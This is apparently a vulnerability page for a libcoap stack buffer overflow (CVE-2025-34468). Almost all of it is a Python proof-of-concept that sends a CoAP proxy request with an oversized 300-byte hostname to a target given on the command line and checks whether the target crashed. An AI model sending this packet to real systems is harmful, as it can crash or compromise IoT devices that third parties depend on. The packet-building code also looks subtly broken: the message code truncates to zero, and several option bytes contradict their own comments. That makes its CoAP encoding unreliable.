CVE-2025-34468 libcoap地址解析栈缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2025-34468 PoC - libcoap Stack Buffer Overflow in Address Resolution This PoC demonstrates sending a crafted CoAP proxy request with oversized Hostname. Note: This is for educational and authorized testing purposes only. """ import socket import struct def create_coap_packet(): """Create a CoAP packet with oversized Hostname option""" # CoAP Header version = 1 message_type = 1 # CON token_length = 0 code = 0.02 # POST message_id = 0x1234 header = (version << 6) | (message_type << 4) | token_length first_byte = header # Build options options = b'' # Uri-Path option (must be before Proxy-Uri) options += struct.pack('B', 0x0E) # Option Delta = 0, Length = 1 options += struct.pack('B', ord('p')) # Proxy-Uri option with oversized hostname # Option number 35, critical and unsafe option oversized_hostname = 'A' * 300 # Exceeds 256-byte buffer proxy_uri = f'coap://{oversized_hostname}/test' # Option header: delta=3 (Proxy-Uri), length encoded options += struct.pack('B', 0x35) # Delta=3, Length=5 options += struct.pack('B', len(proxy_uri)) options += proxy_uri.encode('utf-8') # Payload marker payload = b'\xff' # Construct packet packet = bytes([first_byte, int(code), (message_id >> 8) & 0xFF, message_id & 0xFF]) packet += options + payload return packet def send_exploit(target_host, target_port=5683): """Send the exploit to target""" packet = create_coap_packet() try: sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) sock.sendto(packet, (target_host, target_port)) print(f'[+] Exploit packet sent to {target_host}:{target_port}') print(f'[+] Packet size: {len(packet)} bytes') print(f'[+] Oversized hostname length: 300 bytes') # Try to receive response try: data, addr = sock.recvfrom(1024) print(f'[*] Received response from {addr}: {data.hex()}') except socket.timeout: print('[*] No response received (target may have crashed)') except Exception as e: print(f'[-] Error: {e}') finally: sock.close() if __name__ == '__main__': import sys if len(sys.argv) < 2: print('Usage: python3 cve_2025_34468_poc.py <target_ip>') sys.exit(1) target = sys.argv[1] send_exploit(target)